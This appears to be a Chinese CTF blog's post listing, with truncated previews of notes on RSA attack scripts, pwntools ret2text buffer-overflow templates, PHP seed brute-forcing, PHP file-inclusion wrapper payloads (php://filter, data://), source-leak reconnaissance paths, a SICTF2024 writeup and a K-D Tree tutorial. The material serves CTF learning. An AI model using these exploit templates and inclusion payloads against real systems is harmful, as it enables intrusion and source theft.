RSA(1-5)
1.基础模板(分解N)
攻击条件
\(N\)
可以通过常见手段直接分解出来.
攻击脚本
12345import libnumphi = (p-1)*(q-1)d = libnum.invmod(e,phi)m = pow(c,d,n)print(libnum.n2s(m))
2. \(N\) 共有因子攻击(共享素数)
攻击条件
有两个公钥 \(N1\) 和 \(N2\) ,它们有共同因子 \(p\),可以通过求解它们的最大公因数得到 \(p\).
特征
\(N\) 不相同,\(e\) 相同.
攻击脚本
1234567import libnump = libnum.gcd(n1,n2)q = n1//pphi = (p-1)*(q-1)d = libnum.invmod(e,phi)m = pow(c1,d,n1)print(libnum.n2s(m))
3.共模攻击
攻击条件
当两个用户使用相同的模数 \(N\),不同的私钥 \(d\)
时,加密同一明文消息时即存在共模攻击.
特征
\(N\) 相同,\(e\) 不相同.
攻击原理
\[
\be ...
栈溢出ret2text
system('bin/sh') 类型
32位基础模板
1234567from pwn import*host = remote("网址",端口)cnt = 10addr = 'bin/sh'地址(16进制)payload = b'A'*cnt + b'B'*4 + p32(addr)host.sendline(payload)host.interactive()
cnt:填充数据长度.
后门地址:有 /bin/sh 的函数地址.
64位基础模板(需要处理堆栈平衡)
堆栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret
这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret
执行之前,堆栈栈顶的地址一定要是 call 指令的下一个地址.
因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn
的地址)
12345678from pwn import*host = remote("网址",端口)cnt = 10 ...
伪随机数爆破种子
php伪随机数
从 PHP 4.2.0
开始,随机数生成器自动播种,如果设置了seed参数,生成的随机数就是伪随机数,意思就是每次生成的随机数是一样的.
123mt_srand(seed);echo intval(mt_rand());#若seed不变,则每次的随机数都一样
通过伪随机数爆破种子
使用工具 php_mt_seed,在linux环境下使用. 12345[*]./php_mt_seed 伪随机数[!]找到对应版本的种子,如果有多个,可以依次尝试[!]如果生成了多个随机数,可以这样使用[*]./php_mt_seed 伪随机数1 伪随机数2 伪随机数3
文件包含
php伪协议
php://filter 协议
1php://filter/read=convert.base64-encode/resource=xxx
妙用: 12345678[*]php://filter可以绕过 exit; die();[*]传入的指令需要提前rot13处理,然后filter进行rot13,这样传入的指令不受影响,而exit或die都被修改掉了.[!]php://filter/write=string.rot13/resource=a.php[!]POST请求中填入指令[+]也可以使用php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php[#]UCS-2对字符串每2位反转一次.
UCS-2编码 1echo iconv("UCS-2LE","UCS-2BE",'command');
data://text 协议
123被包含时,可以直接执行内容,如果怕过滤,可以提前Base64编码.[*]data://text/plain,<?p ...
PWN基础
GCC编译
gcc 文件 文件的后缀名为".c".
运行二进制文件
./文件
编译汇编程序(.asm)为可执行文件
12nasm -f elf example.asm -o example.old -m elf_i386 example.o -o example
编译后,example即为可执行文件.
编译汇编语言源文件(.s)为可执行文件
1gcc -o example example.s
编译后,example即为可执行文件.
输出流被关闭
12345exec 命令 1>&0例:exec ls 1>&0exec cat flag 1>&0
.got节与.got.plt节
123456[*]使用 checksec 文件 //查看文件的RELRO[-]当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。 [-]当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。 [-]当RELRO为No RELRO时,表示.got与.got.plt都可写。[*] ...
信息搜集
index.phps
有些题目可以直接访问 /index.phps ,可以下载源码.
www.zip
有些题目可以直接访问
/www.zip,从而下载源码压缩包,找到flag.
/.git/index.php
有些题目有版本控制,但部署到了生产环境,从而可以访问
/.git/index.php 来获取源码.
/.svn/
svn泄露,可以直接访问 /.svn/ 得到相关信息.
.DS_store
.DS_store泄露.
vim缓存泄露
vim在编辑文本时会创建临时文件,如果非正常退出,临时文件就会保留.
12345以index.php为例第一次异常退出后,文件名为.index.php.swp第二次,文件名为.index.php.swo第三次,文件名为.index.php.swn#有时需要去掉.index中的"."
编辑器漏洞
访问 /editor
路径,有时会进入编辑器界面,从而查看所有文件路径.
/admin
一定要试着去访问 /admin,有些题目的flag就会藏在里面.
php探针
php探针是用来探测空间、服务器 ...
SICTF2024 Writeup
Misc
[签到]签到
如题,打开“微信”,扫码,关注公众号,发送SICTF{Round3,我来辣~},得到flag.
问卷调查
如题,填写问卷,得到flag.
WHO?WHO?WHO
脑洞题。
首先拿到压缩包,尝试小写字母爆破,成功爆破出密码:qweqwe。
解压出来个文本,发现里面只有几个可见字符,用Vscode打开,发现这是零宽隐写。
用在线网站去解,奇怪的是不同网站解出的结果不一样,这里使用Zero Width Lib
(yuanfux.github.io)解出了正确的内容。
剩下的东西看见像base64,但是解出来是乱码,开头是Salted__,推断出这个字符串是Rabbit加密得出的。
解密这个字符串还需要密钥,根据题目提示我们可以得知密钥是“树木”的拼音,即shumu。
接触来了一个格式和flag差不多的字符串,根据之前的txt文件名可知这是DNA编码,在线解密网站找不到,我直接找到了表手动解密。
12345678910111213141516171819202122232425262728293031323334353637383 ...
K-D Tree从入门到精通
K-D Tree基础
什么是K-D Tree?
k-D Tree(KDT , k-Dimension Tree) 是一种可以 高效处理 \(k\) 维空间信息 的数据结构,常用于
领域查询,最近点对查询 等操作。
k-D Tree具有二叉搜索树的形态,其每个节点都对应 \(k\) 维空间内的一个点。
在题目中,一般 \(k=2\)。
节点信息储存
我们通常用一个结构体储存k-D Tree所有节点的信息
123456789//假设维护的是K维的空间信息struct node{ int d[K];//d[i]表示第i+1维的坐标(因为下标从0开始) int mx[K],mn[K];//mx[i]和mn[i]表示该节点所管辖的第i+1维坐标极值,比较关键,后面会讲 int ls,rs;//左右儿子 int val;//节点权值,可能会用到 int sum;//节点子树的权值和,可能会用到}t[MAX],ori[MAX];//t为k-D Tree所使用的数组
建树
k-D
Tree常见的建树方式有两种:交替建树,方差建树。
交 ...